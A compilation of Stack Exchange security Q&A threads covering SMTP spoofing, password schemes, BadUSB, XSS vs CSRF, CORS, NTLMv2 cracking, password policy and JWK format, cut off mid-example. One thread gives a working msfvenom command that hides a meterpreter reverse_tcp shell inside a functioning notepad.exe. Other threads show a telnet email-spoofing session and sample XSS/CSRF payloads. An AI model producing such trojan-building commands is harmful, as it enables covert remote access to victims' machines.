Should admin make SMTP to do sanity checks? Open SMTP relays are bad.  The major email providers such as Gmail and Yahoo do some sanity checks such as the following at the SMTP level to prevent spam to arrive the users' mailboxes:

$ telnet alt2.gmail-smtp-in.l.google.com 25
Trying 173.194.65.27...
Connected to alt2.gmail-smtp-in.l.google.com.
Escape character is '^]'.
220 mx.google.com ESMTP a42si10962520eem.344 - gsmtp
helo google.com
250 mx.google.com at your service
mail from:
250 2.1.0 OK a42si10962520eem.344 - gsmtp
rcpt to:
550-5.1.1 The email account that you tried to reach does not exist. Please try
550-5.1.1 double-checking the recipient's email address for typos or
550-5.1.1 unnecessary spaces. Learn more at
550 5.1.1 http://support.google.com/mail/bin/answer.py?answer=6596 a42si10962520eem.344 - gsmtp
QUIT
221 2.0.0 closing connection a42si10962520eem.344 - gsmtp
Connection closed by foreign host.

By trial and error, I've discovered that Gmail enforces that the messages must be in a certain format.  Not to say that it's completely fool-proof, but doing so can weed out the naive spammers.  It's even not trivial to spam myself. :)

Unfortunately, many SMTP servers do not checks the messages more stringent than Gmail does.  Prohibiting invalid email addresses in the domain isn't good enough.  What if a spammer knows the usernames of the domain?  I've successfully sent a spam to myself:

[ The potentially identifiable portion has been replaced by (...). ]

$ telnet (my SMTP) 25
Trying (my SMTP's IP)...
Connected to (my SMTP).com.
Escape character is '^]'.
220 (my SMTP) ESMTP (some string)
helo
250 (my SMTP) Hello (my IP), pleased to meet you
mail from:(my username)@(my domain).com
250 2.1.0 Sender ok
rcpt to:(my username)@(my domain).com
250 2.1.5 Recipient ok
data
354 Enter mail, end with "." on a line by itself
This is my own test email.  Let's see how easy it is for spammers to send email to employees.
Best Regards,
me
.
250 2.0.0 (some string) Message accepted for delivery
421 4.4.2 Connection timed out
Connection closed by foreign host.

It's easy to prank other users in the domain by replacing the "mail from" and "rcpt to" fields accordingly then.  The example above shows that it's easy to spoof emails without knowing the passwords of the "sender".

Should admin be responsible for making SMTP more secure?  In addition, what are the things that SMTP can do to reduce naive spammer like me?  Blocking port 25 is out of question: Some super users prefer to run their own email server.

While there is absolutely no semblance of security built-in to SMTP, open relays are a known, and solved problem.
To prevent relaying, you simply set up a list on the server of valid destination domains (typically only domains for which local delivery is an option). Then unless the sender is authenticated or otherwise allowed to relay mail, then the server should reject any RCPT TO address that is not one of the allowed domains.
Again, this is a solved problem, and 100% of all popular SMTP server packages support this feature by default.
Failure to properly restrict relaying on your server will quickly get you picked up by spammers as a relay for their junk mail and then immediately blacklisted from delivering legitimate email to all major mail destinations.
NOTE THAT YOUR ISP'S MAIL SERVER IS NOT AN OPEN RELAY
You're explicitly allowed to relay mail through your ISP. In fact, if you are a residential customer, your ISP's mail server should be the only mail server to which you can connect directly on port 25. This is intentional. Your ISP knows who you, they know your personal identity which they can derive from just your IP address.
So when you send email through their server, that email is directly tied not just to your online identity, but to your "real" identity, with the name and address that they know belongs to you. At any point in the future, that email can be traced back to you.
They allow you to relay mail because they are watching what you do. And if you misuse their mail server, you can be held accountable.


How secure are these password schemes? On One liner to create passwords in linux?, I see advice generally of the form head -c16 /dev/urandom | md5sum. They're all random combinations of text manipulation commands, sha1, base64 and md5sum and to me it seems like a shotgun approach. But how secure are these techniques really? Can you get a secure password just from a bunch of commands sloppily thrown together?

First off: Those commands are not sloppily thrown together. They are stiched together such that they do the job.

And yes, of course they do their job. Hashing 16 bytes of entropy, expanding it to a longer (but printable) string, should be fine from a security perspective.

The definition of secure might be different for you, though. Usually, secure passwords are

long enough to not allow

brute force and
rainbow table attacks,

complex enough to not be guessed easily,
contain as much entropy as possible and
are intracktable with a dictionary attack.

All this is the case with the one liners. Please also note there is the famous XKCD about this which might interest you as well as it sheds some more light on the

  It can be actually remembered by humans

part of password security.


Potential issues with Kim Dotcom's new proposed "encrypted webmail service" Just spotted a Reddit thread about Kim Dotcom, of MegaUpload fame, planning to produce a secure webmail system that allows people to communicate securely, without the worry of having their messages sniffed by three-letter agencies.

Considering the debacle over MEGA's crypto, this makes me nervous. Some people in the Reddit thread raised some important points too:

If the site holds the private keys, the messages cannot be secure.
Using localStorage is problematic due to lack of encryption.
It's difficult to tell how secure the site is if it's a black box.

Are there any other major things to worry about with such sites? Are there any reasonable mitigations that allow for this kind of service to be viable?

Let's assume here that we are talking about a serious design for emails, i.e. one without a centrally trusted server (we already have Gmail; if we are to trust a potential Evil Overlord, we may as well choose a competent one).

When using a Web site, you use the Web site interface, which can do nasty things behind your back. The same holds for every piece of software, but the Web is especially dynamic: by definition, it is downloaded anew each time you connect. With a locally installed application, you can make some review once (e.g. compiling GnuPG from source); if the application is "clean", it stays clean; and if it was backdoored, then, at least, you may keep a copy as proof for the post mortem analysis. Such things are much harder with a Web site.

Therefore a Web-based solution may cheat on you easily.

Also, we know that key management, including generation and storage, is subtle. Since keys concentrate secret, they are high-value targets, and should be protected accordingly. GnuPG uses mlock() (or its Windows equivalent) to prevent the key from being written to the swap space. You cannot do that in Javascript... Similarly, some cryptographic tasks related to passwords (e.g. password-based encryption of a key ring) kind of need some slow and salted hashing (bcrypt & co) to cope with the inherent weakness of passwords being passwords. Slow hashing requires some muscle. Javascript is very feeble in that respect. And if we want to be serious about key management, then we want smart cards, which again will be hard to access from a Web application.

Therefore I claim that it is very difficult to make a correct Web-based solution for secure emails, even when all the developers are top-notch.

And, of course, how can you know if a given Web site was properly developed, by people knowing their trade ?


Handshake without asymmetric encryption One of my teacher said "Without asymmetric encryption, we would be forced to use third-party to initiate any connection".

I don't understand how it can be possible, what if an attack occur during the communication with the third-party?

Maybe my teacher was speaking about a physical third-party? (i thought about an initialized physical authentication key like YubiKey)
Or is there something I didn't understand?

How is it possible to start a symmetric encryption without asymmetric one?

Symmetric Cryptography means that the key used for encryption is identical to the one used for decryption. This means that in order for two parties (Alice and Bob, as an example) to communicate, they need to share this key somehow.

Using purely symmetric cryptography, this is not possible. In order to send the key, one would need to encrypt it. For that, a key is necessary, and the problem begins anew.

How can symmetric keys be exchanged?

One way would be to use asymmetric encryption. This can either mean using an algorithm which generates a shared key, or by simply encrypting a key and sending it to the other.

Another possibility is out-of-band exchange, meaning that keys are exchanged through a different method than is used for communication. This could mean in person, via letter, on the phone, over the radio, etc...

None of these would be practical for certain ways of communication. For example, communication with a web-server would be completely impractical if I had to call them beforehand for them to transmit a 128-bit AES key to me over the phone, and it would suffer from the same problems as we had initially, since that call would not be encrypted.


sound card with BADUSB Is it possible to prevent a USB sound card, that's infected with BADUSB, from damaging my computer? In particular, if I can limit the sound card to only act as a sound card, and not something else like a keyboard, can it do any damage as a sound card? I know if it tells my computer it's a keyboard, it can type stuff in. But I'm wondering what kind of problems a sound card could cause.

edit: I don't know if the card is infected, but I don't want to take any chances. And it's not easy to just replace it, because it has some modifications. If this doesn't work, I'll buy another one, and try modifying it myself. But I'm hoping I won't have to.

another edit: I'm not really worried about physical hardware damage, I'm mainly concerned with things like software and firmware problems. And I suppose I wouldn't be too happy if it had some kind of embedded transmitter, used for spying. But I'm mainly concerned with how it could use my existing hardware, like my internet connection. Also, I could use either windows or linux.

edit #3: The sound card was already modified when I bought it. And my concern isn't that something else will infect the sound card. I'm concerned that the card could have been infected, before I bought it, like any USB device that doesn't come from a known, trusted source (if there even is such a thing). So I'm trying to understand what kind of threat this card could be, if I can limit it to only functioning as a sound card.

edit #4: I'll try again to clarify what I'm asking. I bought a modified USB sound card from a source that I can't verify is trustworthy. The source could be trustworthy, but since I have no way of knowing that, I'm going to assume they aren't, and that they infected the firmware with some kind of BADUSB exploit. I'm also assuming I could do something through the operating system (probably linux, but maybe windows) to limit the card from only doing stuff that a sound card can do (not a keyboard, network card, or anything else). So my questions is, can this supposedly compromised USB sound card, that can't pretend it's anything except a USB sound card, do anything bad to my computer? If that doesn't make sense, I give up, but I do appreciate the effort. And all answers have been helpful, even if they haven't answered my question.

The direct answer to your question is pretty straightforward and reassuring, I think.  That being: There is no apparent evidence that any actual, in-the-wild attacks have occurred where malware has written to the firmware of a sound card. (Meaning I don't recall ever having read of a confirmed case of that happening, and some searching on Google revealed no such confirmed cases either.)  In fact, I haven't even read of or discovered any proof of concept cases where that has been demonstrated. (Note: If anybody knows of any source that documenting otherwise please feel invited to share it in the comments.)

And really, I don't know that that lack of documented cases is terribly surprising. Discrete sound cards really aren't that common in today's PCs, and if you wanted to write malware that could hide in a sound card's firmware you'd probably have to have to develop and test different code for each make and model of each card you wanted to be able to infect. A bit like the NSA had to do with its hard drive firmware-infecting efforts. So, perhaps it makes some intuitive sense that we haven't yet seen malware that tries to persist in sound card firmware.

So, from a practical standpoint I don't think badusb-like firmware infection is really something that's worth devoting any real worry to. There's no indication that any malware trying to use that approach is running around out there in the wild (at this point, anyway), let alone anything prevalent enough to necessitate taking the course of junking a partly-customized sound card out of fear of it.

That being said... I'll close with two caveats:

Rewriting the firmware of internal PC components is indisputably possible, and has (although rarely) actually occurred in the wild.  Aside from stuff that hits main BIOS or UEFI, security researchers have indeed done proof of concept demonstrations of firmware-alteration in network cards.  There is some indication that USB host controllers are quite viable targets, and possible attacks on internal components in general have often been written about as feasible. And, as mentioned above there is open source confirmation that highly-targeted, real-world attacks involving hard drive firmware alteration have occurred. So it's not really that sound card firmware-alteration would be an out-of-the-blue, amazing new technical surprise.

If you're a target worth detailed attention from the NSA or other very-high-end nation-state threats then pretty much any theoretically plausible attack has to be considered as something you need to be on guard against. And getting the firmware on a sound card altered by sophisticated, persistent malware would definitely be in the category.  On the other hand, it you were a target of such importance the question of whether or not to junk a sound card would probably be pretty far down on your very, very, very long list of security matters to worry about.

So, you would almost certainly be just fine.

edit:  Replying to question's edit #3:

Yeah, I think we are talking about the same thing, although in slightly different ways and terms. If I understand you you're asking about whether a good, correctly-operating sound card can get a malware infection of some kind and afterward turn into a maliciously operating perhipheral that tries to lie to your computer that it's a USB keyboard (or another Human Interface Device) and start feeding it "key presses" that, say, open a command prompt and enter commands into the system, right?

Well, the way that that malicious attack happens with something like a USB drive is that the firmware on the drive that tells the drive what it's supposed to do has to get overwritten with new instructions.  That's why a USB drive can start to act like a keyboard or other human interface peripheral: because the overwritten, maliciously-changed firmware tells it to. (More details about exactly how that works to make badUSB possible are here.) Unless you can correctly rewrite the firmware for a USB drive to do what you want to do, create an attack that alters the firmware of USB drives you want to turn malicious, and finally expose a USB drive to that attack something like badUSB can't happen.

Basically the same thing is like case with stuff like BIOS chips in PCs, or with network cards, or hard drives, or graphics cards, or, yes, sound cards. And that's where you get to what my answer discusses: while it might be theoretically possible that an attacker could pull off what you suggest, there's no evidence right now that any such attacks have occurred in real life with sound cards.

edit: replying to question edit #4

Okay, so I think I'll give an answer one more quick shot here. I have reread the question and the subsequent edits with care. Although I'm still not exactly quite sure why we're not on the same page, perhaps one more quick effort can fix that. So...

First, If the question you're asking is: "Assume this USB sound card has somehow been infected by BADUSB or something very like that.. could it do these BadUSB attack things?" I suppose the only responsible answer I could give with be: if something can be infected by BadUSB, one really should err on the safe side and assume that it could act like BadUSB. Meaning it could potentially spread nastiness to a PC or device that you might plug it into.

Still assuming the card is infected with BADUSB, if you wanted to use it anyway you might ask "Are there things that I might do that might lessen or almost eliminate the risk that my PCs and other devices might get infected with badUSB themselves from the sound card?" Well, I think the answers to this question and this question address that more comprehensively than I could.  So I'll just point to those, aside from offering the generic observation that introducing any element that you know to be infected with malware to your technical setup invariably brings at least some degree of risk with doing so. Even if good countermeasures & mitigations are available to reduce that risk, that's a different thing from eliminating that added risk altogether.

But all of what I just said is based on starting with that one absolutely critical assumption: that your recently acquired USB sound device is infected with BadUSB or something like it.  And to reiterate what I said previously: As you've laid out the facts there is a very, very, very low likelihood that that is actually true in your case.  There is no recorded incidence (That I've found, anyway.  Or that anyone else has mentioned.) of an infected USB sound card occurring anywhere, either in the wild or even in a researcher's lab. At all. Thus, my original non-advice advice: unless you would be a target of exceptional importance to some person or organization with major, major technical chops worrying about the firmware in your purchased USB sound card being infected with anything almost certainly isn't worth expending the mental energy to do so.


WAF - How to tell what automated tool is causing alerts When a WAF is throwing alerts your way is there a tool or way to fingerprint the the script or automated tool the potential attacker is using against the site?

What techniques can I use to narrow down and figure out what tool is being used?

One reasonable starting point might be checking what the User-Agent is for the requests you are concerned about.
I would expect it to be forged, but it may be forged in a way that is still identifiable.

You could also consider profiling a few likely culprits (I would expect at least some tools to have a predictable sequence of attacks), by running them against a test instance of your WAF, and collecting the logs and alerts.

I am not completely sure, though, that you want to be worrying about which script is doing what, so much as what the actual attacks are (and which ones are relevant to you).
Although I can totally see how that would be an interesting thing to know.


PGP Key publishing on MIT PGP Public Key Server I have a public pgp key, so that users can send me an encrypted message.
Ofcourse, any user that wants to send me a message, wants to verify that the public key (s)he has, really belongs to me. From what I have read, one can publish his public key to a trusted third party (for example: the MIT PGP Public Key Server). The MIT PGP server then ensures the user that the key really belongs to me. My problem is: can't everyone forge a key on that server (there is no mail verification)? Isn't the method insecure?

Imagine:

My name is John Doe. My public key is 0xE3D, my mail adress is
john@doe.com
An atacker Eve. Eve has a public key 0xA49, and wants to pretend that he is is John Doe
John publishes his public key on his website and registers his key on the PGP server. He states on his website: my key is created on 1/1/15, my key is 0xE3D, my mail is john@doe.com and you can verify my key at the MIT PGP server.
Eve registers his public key (0xA49) on the MIT PGP key server with John his email (after John has published his .
When a user Alice visits John's website, Eve performs a MITM attack and changes the message on the website to: my key is created on 1/2/15, my key is 0xA49, my mail is john@doe.com and you can verify my key at the MIT PGP server.

How can Alice know if the key 0xA49 really is Johns public key? When she looks up John Doe's key, she sees two keys: 0xE3D & 0xA49. How can she knows which key is really posted by John?

And that is why there are key signing parties. They're only parties in name, and not in practice. Except if there exists food and beer. A truism if there ever was one.


How do I make this instruction using msfvenom? msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -x /tmp/notepad.exe LHOST=192.168.10.1 LPORT=45631 -b
"\x00" -f exe-only > notepad.exe

and then if I download notepad.exe in Windows 7, I want to implement notepad.exe like a real notepad.exe ..... read and write and save also can hack using metasploit.

I tried to this instruction.
I download notepad.exe and implement .... but I received the message

Check out this help.
You need to provide notepad.exe as template (-x) option and tell msfvenom to preserve the original template functions (-k) and inject payload as additional thread. So should be sth like

msfvenom -a x86 --platform windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai -i 10 -x /tmp/notepad.exe -k LHOST=192.168.10.1 LPORT=45631 -b "\x00" > notepad.exe


Difference between XSS and CSRF? I know about cross-site scripting and cross-site request forgery. I want to know if there is any similarity between them?

In a cross-site request forgery attack, the attacker tries to force/trick you into making a request which you did not intend. This could be sending you a link that makes you involuntarily change your password. A malicious link could look like that:

https://security.stackexchange.com/account?new_password=abc123

In a cross-site scripting attack, the attacker makes you involuntarily execute client-side code, most likely Javascript. A typical reflected XSS attacking attempt could look like this:

https://security.stackexchange.com/search?q="><script>alert(document.cookie)</script>

Both attacks have in common that they are client-side attacks and need some form of user activity (e.g. clicking a link or visiting a website). Unlike RFI or SQLi vulnerabilities, you're attacking a user rather than the server. XSS is generally more powerful than CSRF because it usually allows the execution of arbitrary script code while CSRF is restricted to a particular action (e.g. changing the password). As @Lukas points out, a successful XSS attack also effectively bypasses all anti-CSRF measures.


Why does Windows 10 not have the secure attention key as default? My understanding of the CTRL + ALT + DEL keyboard combination is that it is "hard wired" into the bios and triggers an interrupt which historically caused the PC to reboot but in Windows was used to trigger the Secure Attention Sequence (SAS).

This seems like a pretty good idea as I can be certain that I am only entering my password into Windows and not into a malicious application that only looks like a Windows login.

I notice since I upgraded from Windows 7 to Windows 10 that I no longer have to press CTRL + ALT + DEL to log in.

I guess this is something to do with Windows 10 having to work on a range of devices which may not display a full keyboard at the point of login, or not have a keyboard combination that triggers an interrupt.

However, why did Microsoft make this choice (turning off SAS by default) for desktop type machines which have a physical keyboard?

I'm aware I can turn it back on in the bios but don't understand why its not the default on my desktop.

The SAS is typically disabled by default on client editions of windows, it is assumed it is too much effort for the normal user. Almost every enterprise enables it via group policy.

The SAS is designed to guard against applications that look like the standard windows login screen, since the signal cannot be intercepted by any normal application, pressing it would cause the secure desktop to appear, revealing the ruse.


Cross-Domain Request is a CSRF Attack? (CORS) CORS is a HTTP Suite header that “relax” the SOP. One of the CORS misconfigurations is about to reflect without reg exp the “Origin” client header into “ACAO” response header. If it happens with “ACAC:true” every cross-domain HTTP request is allowed.
If an attacker induces a victim to visit with another tab of the browser, a malicious web server with a Javascript CORS exploit; the browser triggered by exploit does a HTTP request to a vulnerable webpage and sends the output to a web server controlled by the attacker.
It happens because CORS has a misconfiguration and because the vulnerable page doesn’t have a CSRF Token.
Was this Cross-Domain HTTP request essentially a CSRF attack? If yes, it happens because there is a CORS misconfiguration and there isn’t the CSRF Token? What happens if it has a Anti-XSRF Token?
I read that CORS and SOP can’t block a CSRF attack, because the policy prevents only to access to the response on the request, but the HTTP request works anyway.
If CORS and SOP can’t block a CSRF attack, the CSRF attack could work also if the web server target is not vulnerable a CORS misconfiguration?

Was this Cross-Domain HTTP request essentially a CSRF attack?

Essentially, yes, but only because you specifically disabled the checks that should have prevented it.

If yes, it happens because there is a CORS misconfiguration and there isn’t the CSRF Token? What happens if it has a Anti-XSRF Token?

There are a number of additional factors to consider:
First, not all requests are XHR requests, and therefore are not subject to CORS. The malicious page can host an plain old <form method="post" action="https://yoursite.com"> which can submit arbitrary payloads to your server (without allowing the attacker to read the result), necessitating a CSRF token. Modern browsers make this somewhat unnecessary by supporting the SameSite attribute for cookies, but not all browsers support SameSite, and some users will be on browsers that lack SameSite support essentially forever. So, CSRF tokens are still important to prevent cross-site form submissions.
Secondly, the HTTP verb matters, and can be considered an additional layer of defense. As you state...

I read that CORS and SOP can’t block a CSRF attack, because the policy prevents only to access to the response on the request, but the HTTP request works anyway.

What you describe only applies to GET requests. However, GET requests do not use a CSRF token in the first place. As long as your service correctly only uses GET for idempotent requests with no side effects, the GET request can succeed, and there is no danger as long as the malicious page is prevented from reading the result.
CORS protects other methods like POST/PUT/DELETE (that do cause side effects) with a preflight OPTIONS request. If that preflight request fails a CORS check, not only is the attacker prevented from reading the response, the actual POST request will not happen, so there is no response to read in the first place. The browse will not actually perform a POST to your service if the OPTIONS request fails.
So, in the usual case where a CSRF token is relevant (PUT/POST/PATCH/etc) a CSRF token would have prevented the CORS misconfiguration you describe from allowing arbitrary XHR and non-XHR requests from malicious domains, but only if combined with an old browser or a SameSite misconfiguration.

If CORS and SOP can’t block a CSRF attack, the CSRF attack could work also if the web server target is not vulnerable a CORS misconfiguration?

No. If CORS were correctly configured, and your service didn't use GET incorrectly, CORS would allow the (safe) GET request but prevent the attacker from being reading the result, and it would prevent POST/PATCH/etc request from being made at all.


Risks of using unecrypted cookies I am in the process of making a curated news website and I'm wondering about the safety/security of using unencrypted cookies to store basic user information (first name and zipcode). What are the security risks of using unencrypted (plain text) cookies to store this information, and what about for more sensitive information (ex. email, password, or even credit card number)? Can other websites view the cookies my site creates?

What are the security risks of using unencrypted (plain text) cookies
  to store this information, and what about for more sensitive
  information (ex. email, password, or even credit card number)?

There are many ways you are putting user data at risk. Few of think listed below.

There are many browser extensions that spy on user and their data. You are making their job easy.
The cookies can be obtained by sniffing. This reveals sensitive information to the attacker. (Of course this can be prevented by  setting secure flag on cookie and using https when visiting the site).
The crash dumps of programs (browsers) may contain this sensitive data of the user and potentially leak them.
Users may use public computers in internet cafe or kiosks. So, next user using that computer can see what I have done. Probably these cookies as well.
Also, as mentioned by @Matthew, users can easily tamper with these cookies using a cookie editor extension, and see how the application behaves. (Let's say I changed the firstname in cookie to another person's, does this give me access to their account?)

  Can other websites view the cookies my site creates?

Given the major browsers like Firefox, Chrome, this case will be considered a critical security bug. So, as long your users use a good browser your are good to go.


Should it considered a risk if an organization's server OS and version information is leaked? I am assuming that it should be considered a risk because there may be several security issues of various OSes known to hackers. If a hacker gets access into the victim's network, the extra knowledge will only help the hacker, and will make hidden information more easily available.

Also, can you help me by citing any cases from history where this information led to a hack?

In my opinion it is an indirect threat that is obtained during the first step in an attack, information gathering.

Know what you're dealing with, from an attacker's perspective, helps you prepare a successful attack. The more information obtained during the information gathering process, the more likely it is for an attack to succeed.

It is quit hard, especially for larger organisations, to avoid disclosing this type of information. An example is the human resource department that is instructed to hire technical people. Searching for job opportunities at your target company generally reveals specific details about the infrastructure or used operating system(s).

Having said that, it is import to properly secure your network (network segregation), harden your operating system(s) and have proper policies and procedures in place. When this is considered sufficiently done, an attacker that only knows the operating system should not be a big deal.

Ultimately, the attacker will determine what operating systems are used anyway, just not in the information gathering process.


How is it that tools like Hashcat, JTR able to bruteforce an NTLMv2 hashes? With regards to the following question about the feasibility of (brute|dictionary|rainbowtable)-forcing an NTLMv2 hash:
How feasible is it for an attacker to brute-force an NTLMv2 response captured off the network?

..I'm trying to understand how is it that tools like Hashcat and John-the-ripper are able to bruteforce them using wordlists.

How is that hashchat and JTRare able to do this to an NTLM hash without knowing the Server Challenge (SC) and Client Challenge (CC, CC*) bits in the formula?..

All those 3 values are supposed to make the hash ‘Random’.

Or is it that those tools brute force the 8-byte SC and and CC, CC* values as well?

Articles listing how the attack is done can be found everywhere so I'm trying to understand the actual mechanism behind the attack. e.g.:
https://www.4armed.com/blog/llmnr-nbtns-poisoning-using-responder/

I actually spent a good deal of time looking into this when I got a little sidetracked one day.  The NTLM suite of protocols is complicated.  There are many versions out there and some have distinct weaknesses such as the one I discussed in this question a while back.  This reference page provides a lot of technical details and code examples on how to build and verify these messages.

With the specific attack you point to one factor is that the attacker controls the server.  That means that the attacker can see all the challenges and actually control things such as the server challenge.  It's also possible for the server to attempt negotiate to a weaker version of the protocol but it's not clear if that's part of it.  You could tell if you want to go through all the packets in the article.


Is Entropy all that matters in a Password? My question is, is it more reliable having a password that is composed by words like FootballPractice more secure than using a password that has only 2 or 3 bits less, for example FootbalPractic , my assumption is that the latter although it has less Entropy because it has 2 bits less than the other, is more secure because it is protected from dictionary attacks, if i made my question unclear let me know and i will edit to try to explain it better

Passwords do not have entropy, only the method used to generate the password has entropy.

If the attacker knows you use a wordlist then they can use the same wordlist to construct their guesses. If you take off the last letter of each word in your generation list, and the attacker knows this, they simply take off the last in theirs. The entropy would be exactly the same.

Your technique may enable your chosen passwords to go under the radar in a non-targeted dictionary attack, however in any targeted attack they may discover how you generate your passwords and alter their wordlist accordingly (e.g. from other breaches that may reveal your password when it has been cracked, from public website posts, etc).


Computer team's password change time different from other users? We need to determine a password policy for our organization.

All users, in general, will have 90 days until they will have to change their passwords, complexity required and passwords need to be at least 8 characters long.
When you were determining your password policy, have you differentiated between computer-team in one or more of the password policy terms that was applied to all users?

What should be in your policy. Your policy should specify several things:

Minimum password length/strength.  For instance, requiring that the password be at least 8 characters or longer makes sense.
Password selection methods.  Advise people on good ways to select a password.  People aren't very good at choosing strong passwords, so your password policy should provide guidance about how to do this.  The best solution might be to provide them with a tool to automatically generate a random password for them.  Alternatively, you could suggest how people can choose a strong password on their own (e.g., pick a short phrase that will be memorable to them and that no one else is likely to use).
Password handling.  You should tell people to never share their password with anyone else.  You should promise them that sysadmins will never ask them for their password.  You should prohibit sysadmins and other staff from ever asking anyone for their password.  You should specify the penalty for violations.
Cleartext passwords.  I recommend that your policy prohibit transmission of passwords in cleartext over the network: in other words, it should require that internal services and applications be designed to avoid transmitting passwords in cleartext over the network, and it should prohibit services and applications (e.g., telnet, non-anonymous ftp) that transmit user passwords unencrypted over the network.  Your policy might specify a phase-in period and a process for getting approval for exceptions, if necessary.

What should not be in your policy.  You should not require users to change their passwords every 90 days.  This is a lousy idea.  It is horrible for usability.  And, it does not improve security: it's one of those things that superficially sounds good to non-experts, but does not actually add any significant benefits that I know of.  In particular, it does not really help defend against any realistic threat model I'm familiar with.  If you're lucky, it may cause people to choose a predictable sequence of passwords (e.g., xlkjsadf1, xlkjsadf2, xlkjsadf3, etc.).  If you're less lucky, it may make security worse, by forcing people to write down their password somewhere (a yellow sticky note attached to their monitor is the traditional method).

Possibilities to consider.  Depending upon your circumstances, you might also consider the following:

Non-password authentication.  Passwords are not the end-all, be-all of user authentication.  For high-risk activities (e.g., sysadmins with root/administrator access to critical machines), you might consider requiring other forms of authentication, such as RSA SecurID cards.  They are generally more secure than passwords.
Password escrow.  There are some cases where you might want to require employees to escrow a copy of a password with the company.  A typical case is where the employee signs up for some external service (e.g., Amazon EC2) and has to specify a username and password for the account with that service, and where the external service does not provide any way to link more than one username with the service, and where the external service is relied upon or used by multiple folks in the company.  In that case, if the employee who created the account leaves the company, you may lose access to the account on the external service.  One solution is to ask the employee to escrow the password they created for that account with the company: e.g., put it in an envelope, seal the envelope, sign over the flap, and place it in a locked safe controlled by their boss or some other employee.


Technical term needed: Per default secured / blacklist vs whitelist I'm currently working on a homework and missing a technical term / known best practice to describe what I have learned or what I feel that is better. It is about a publish / subscribe architecture, where channels are per default open and unauthenticated, and you have to configure security explicitly (kind of blacklisting instead of whitelisting). Imho it would be more secure to have channels be authenticated / secured per default and open them on configuration, so you can't forget it if you need authentication.

I hope I could explain to you in what direction I'm thinking. I really need a technical term for this, but have no idea currently. Blacklist vs. Whitelist is the closest thing I came up with, but this is not a general pattern, is it? And it is not exactly what I mean..

Anyone may help? :-)

I think the term secure by default captures what you are looking for:

  In a network operating system, this typically means first and foremost
  that there are no listening INET(6) domain sockets after installation.
  That is, no open network ports. This can be checked on the local
  machine with a tool such as netstat, and remotely with a port scanner
  such as nmap. As a general rule, a secure network, is only as secure
  as the least secure node in the entire network.


Why recommend "letters, numbers, and special characters" in a User ID? Why do some sites recommend "letters, numbers, and special characters" in a username or User ID?

When creating a User ID at the www.discovercard.com website,
the "User ID Strength" indicator meter bar indicates that a User ID is "weak" unless it includes letters, numbers, and special characters.

(It looks similar to the "password strength" indicator bar I see when I change my password).

User ID are not nominally secret values; that's why we call them "user ID" and not "passwords", and why graphical interfaces for entering them don't hide the characters". However, creative designers sometimes imagine that user ID are some kind of secret, which leads to situations like what you witness: a site that tries to enforce on the user ID some "complexity rules" normally applied to passwords.

In practice, user ID chosen by users are not very secret, because:

Interfaces and protocols may leak user ID in various places.
Users don't consider them secret and thus will not try to make them unguessable.
Even when users try to make things hard to guess (passwords), they usually fail.

However, lack of rationality has never prevented any enthusiastic developer from adding features.

Arguably, insistence on including "special characters" in strings is not proven to really make these strings harder to guess. Such so-called complexity rules are meant to force users out of their comfort zone (it works: users are much less happy), under the rather specious assumption that an irate or depressed user will somehow choose passwords which are harder to guess.


Encode URL in link that will appear on page in plain text? I need to send a user a link via SMS that when clicked, and then when some demographic info is verified, will allow them to sign up for my service (which is a healthcare portal, so HIPAA/PCI/PII etc).

Once the link is clicked the code will appear on the web page in plain text.

I'm telling the busines that I want to encode the code in the link that will be in the text msg since it is technically sensitive. However, I am not sure that I really know why I am suggesting it, especially since the code will be output in plain text when the link is clicked. So I am having trouble making my case. If someone intercepts the link and clicks it, they have the code.

If the phone is stolen the user will be SOL so I can't worry about that. I suppose I am mostly protecting against the phone company or anyone else the code passes through on its way to the phone.

The code does expire after a certain amount of time.

Should I bother encoding it? Is the real problem showing the code on the page--if I don't do that, does encoding make sense?

Reverse engineering what you are trying to do from the question:
You are sending an activation link to the user out of band, and are worried about interception when clicked.

Yes, we have the technology to prevent the link from being intercepted while being clicked.

It's called "HTTPS".
In other words, make sure that the activation link look like this:
https://example.com/signup?token=1235


What are the most common files to check with File integrity monitoring software? I have a file integrity monitoring suite and in it I have to select specific files and folders for it to monitor. There are some obvious services that I want monitored like our web-server.

Is there a list of important OS files (windows/linux) that must be monitored (by best practice)? I am familiar with Linux but not with windows so I can't seem to find what binaries and/or config files to monitor as a best practice.

You should monitor (nearly) all the files.

Assuming that this system is just a hash database, then there are some files you should skip:

everything in /proc (there's a lot of useful stuff in here for root kit hunters though)
log files  (there are tools will will do heuristic analysis of these files)
files which contain filesystems (this would include loop-back filesystems and database files - but you probably want to check the 'files' inside the file).
swap space

(the difficult bit is setting up a process for auditing the changes properly)


RSA JWK format and parameters meaning In RFC 7571 I found how RSA JWK should look like:

         {"kty":"RSA",
      "n":"0vx7agoebGcQSuuPiLJXZptN9nndrQmbXEps2aiAFbWhM78LhWx4
 cbbfAAtVT86zwu1RK7aPFFxuhDR1L6tSoc_BJECPebWKRXjBZCiFV4n3oknjhMst
 n64tZ_2W-5JsGY4Hc5n9yBXArwl93lqt7_RN5w6Cf0h4QyQ5v-65YGjQR0_FDW2Q
 vzqY368QQMicAtaSqzs8KJZgnYb9c7d0zgdAZHzu6qMQvRL5hajrn1n91CbOpbIS
 D08qNLyrdkt-bFTWhAI4vMQFh6WeZu0fM4lFd2NcRwr3XPksINHaQ-G_xBniIqbw
 0Ls1jF44-csFCur-kEgU8awapJzKnqDKgw",
      "e":"AQAB",
      "d":"X4cTteJY_gn4FYPsXB8rdXix5vwsg1FLN5E3EaG6RJoVH-HLLKD9
 M7dx5oo7GURknchnrRweUkC7hT5fJLM0WbFAKNLWY2vv7B6NqXSzUvxT0_YSfqij
 wp3RTzlBaCxWp4doFk5N2o8Gy_nHNKroADIkJ46pRUohsXywbReAdYaMwFs9tv8d
 _cPVY3i07a3t8MN6TNwm0dSawm9v47UiCl3Sk5ZiG7xojPLu4sbg1U2jx4IBTNBz
 nbJSzFHK66jT8bgkuqsk0GjskDJk19Z4qwjwbsnn4j2WBii3RL-Us2lGVkY8fkFz
 me1z0HbIkfz0Y6mqnOYtqc0X4jfcKoAC8Q",
      "p":"83i-7IvMGXoMXCskv73TKr8637FiO7Z27zv8oj6pbWUQyLPQBQxtPV
 nwD20R-60eTDmD2ujnMt5PoqMrm8RfmNhVWDtjjMmCMjOpSXicFHj7XOuVIYQyqV
 WlWEh6dN36GVZYk93N8Bc9vY41xy8B9RzzOGVQzXvNEvn7O0nVbfs",
